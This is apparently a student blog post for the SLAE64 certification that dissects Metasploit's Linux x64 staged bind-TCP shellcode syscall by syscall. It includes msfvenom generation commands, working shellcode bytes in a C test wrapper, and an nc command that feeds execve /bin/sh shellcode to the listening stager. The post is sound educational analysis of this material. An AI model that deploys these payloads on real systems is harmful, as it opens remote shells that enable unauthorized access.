linux/x64/shell/bind_tcp staged shellcode generally consists of following steps
- Create listening port and wait for connection
- Map 4096 bytes in process’ VAS memory
- Wait for incoming data and save them into mapped memory
- Execute saved data
Shellcode demonstration
Create elf64 executable with msfvenom
$ msfvenom -p linux/x64/shell/bind_tcp -f elf -a x64 --platform linux LPORT=1234 -o staged_bind_tcp_x64
Execute the stager
$ chmod a+x staged_bind_tcp_x64 $ ./staged_bind_tcp_x64
Send arbitrary shellcode to a socket which was opened by the stager. This shellcode will be executed in the stager process. In this example execve /bin/sh shellcode is used.
echo -ne "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05" | nc 127.1.1.1 1234
The stager executes /bin/sh
$ ./staged_bind_tcp_x64 $ whoami maple
Shellcode overview
Let’s generate the staged shellcode with msfvenom and output it in C format
$ msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234
and insert it into C testing wrapper
// shellcode.c
// shellcode testing wrapper
#include<stdio.h>
#include<string.h>
// msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x04\xd2\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x59\x6a\x32\x58\x0f\x05\x48\x96\x6a\x2b\x58\x0f"
"\x05\x50\x56\x5f\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31"
"\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x96\x48\x97\x5f\x0f"
"\x05\xff\xe6";
main()
{
printf("Shellcode Length: %zd\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
Compile it without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
Now let’s disassemble the shellcode using gdb
$ gdb shellcode (gdb) break *&code (gdb) r (gdb) disas => 0x0000000000601040 <+0>: push 0x29 0x0000000000601042 <+2>: pop rax 0x0000000000601043 <+3>: cdq 0x0000000000601044 <+4>: push 0x2 0x0000000000601046 <+6>: pop rdi 0x0000000000601047 <+7>: push 0x1 0x0000000000601049 <+9>: pop rsi 0x000000000060104a <+10>: syscall 0x000000000060104c <+12>: xchg rdi,rax 0x000000000060104e <+14>: push rdx 0x000000000060104f <+15>: mov DWORD PTR [rsp],0xd2040002 0x0000000000601056 <+22>: mov rsi,rsp 0x0000000000601059 <+25>: push 0x10 0x000000000060105b <+27>: pop rdx 0x000000000060105c <+28>: push 0x31 0x000000000060105e <+30>: pop rax 0x000000000060105f <+31>: syscall 0x0000000000601061 <+33>: pop rcx 0x0000000000601062 <+34>: push 0x32 0x0000000000601064 <+36>: pop rax 0x0000000000601065 <+37>: syscall 0x0000000000601067 <+39>: xchg rsi,rax 0x0000000000601069 <+41>: push 0x2b 0x000000000060106b <+43>: pop rax 0x000000000060106c <+44>: syscall 0x000000000060106e <+46>: push rax 0x000000000060106f <+47>: push rsi 0x0000000000601070 <+48>: pop rdi 0x0000000000601071 <+49>: push 0x9 0x0000000000601073 <+51>: pop rax 0x0000000000601074 <+52>: cdq 0x0000000000601075 <+53>: mov dh,0x10 0x0000000000601077 <+55>: mov rsi,rdx 0x000000000060107a <+58>: xor r9,r9 0x000000000060107d <+61>: push 0x22 0x000000000060107f <+63>: pop r10 0x0000000000601081 <+65>: mov dl,0x7 0x0000000000601083 <+67>: syscall 0x0000000000601085 <+69>: xchg rsi,rax 0x0000000000601087 <+71>: xchg rdi,rax 0x0000000000601089 <+73>: pop rdi 0x000000000060108a <+74>: syscall 0x000000000060108c <+76>: jmp rsi 0x000000000060108e <+78>: add BYTE PTR [rax],al
We have 6 system calls in the shellcode so we analyze them in-depth one by one.
Create listening port and wait for connection
push 0x29 ; syscall number 41, int socket(int domain, int type, int protocol) pop rax cdq ; zeroing RDX via EAX sign extension push 0x2 ; int domain = 2 pop rdi push 0x1 ; int type = 1 pop rsi syscall ; invoke system call socket(PF_INET, SOCK_STREAM, IPPROTO_IP) xchg rdi, rax ; save returned file descriptor
First assembly stub creates endpoint for communication and returns new file descriptor for the socket. Protocol family which is used for communication is set to PF_INET which stands for IPv4 Internet protocols. type argument specifies communication semantics and is set to SOCK_STREAM which provides sequenced, reliable, two-way, connection-based byte streams. Returned file descriptor is saved into RDI for later use.
push rdx ; push 0x0000000000000000, contains IP 0.0.0.0 aka all interfaces mov DWORD PTR [rsp], 0xd2040002 ; pushes AF_INET and big endian port number 1234 mov rsi, rsp ;;; stack content, low to high mem ;;; 0x02 0x00 0x04 0xd2 0x00 0x00 0x00 0x00 ;;; stack content, low to high mem ;;; push 0x10 ; socklen_t addrlen = 16 pop rdx push 0x31 ; syscall number 49, int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) pop rax syscall ; invoke system call bind(fd_num, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("0.0.0.0")}, 16)
The above assembly stub binds a name to the socket. In other words bind() call setups particular socket bound with specific file descriptor. IP and port are passed via sockaddr structure which is represented by data in the stack. Last argument to bind() call is size of sockaddr structure. RAX is zeroed if bind() is executed successfully.
pop rcx ; pops port number into rcx (not used) push 0x32 ; syscall number 50, int listen(int sockfd, int backlog) pop rax syscall ; invoke system call listen(fd_num, pointer_to_sockaddr), (RSI can be random uint)
Next the socket is marked as passive with listen() call. RAX is zeroed on successful listen() execution.
xchg rsi, rax ; zeroing rsi push 0x2b ; syscall number 43, int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) pop rax syscall ; invoke system call accept(fd_num, pointer_to_sockaddr, 16)
Accept() call accepts connection on the socket passed by file descriptor in first argument and extracts this new connection to the new socket. Old listening socket is unaffected and new connected socket file descriptor is returned.
Wait for incoming data, map memory and save them into mapped memory
push rax ; push 8 push rsi ; push 0x0000000000000000 pop rdi ; void *addr = 0 push 0x9 ; syscall number 9, void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset) pop rax cdq ; rdx = 0 mov dh, 0x10 ; int prot = 0x1000 mov rsi, rdx ; size_t length = 0x1000 xor r9, r9 ; r9 = 0 push 0x22 ; int flags = 0x22 pop r10 mov dl, 0x7 ; int prot = 0x7 syscall ; invoke system call *mmap(0, 0x1000, 0x1007, 0x22, random_address, 0) ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, -1558351851, 0) xchg rsi, rax ; save pointer to mapped area to rsi xchg rdi, rax ; zeroing rax pop rdi ; rdi = 8 syscall ; invoke system call 0, ssize_t read(int fd, void *buf, size_t count) ; read(fd_num_from_accept(), pointer_to_mapped_area, 0x1007)
mmap() system call is invoked which creates new VAS <-> Physical memory mapping. Starting address for new mapping is selected automatically by kernel if NULL is passed in *addr argument. 4096 bytes (1 page) is mapped. prot argument specifies that data in mapped pages can be read, written and executed. flags argument specifies that updates to the mapping are not visible to other processes mapping the same file and that the mapping is not backed by any file; its contents are initialized to zero. fd and offset arguments are ignored due to the MAP_ANONYMOUS flag set.
read() call reads 4103 bytes from the socket and saves them to previously mapped memory.
Execute saved data
jmp rsi ; after read() point RIP to read data
Load RIP with RSI content which points to read data thus effectively execute them.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64 – 1629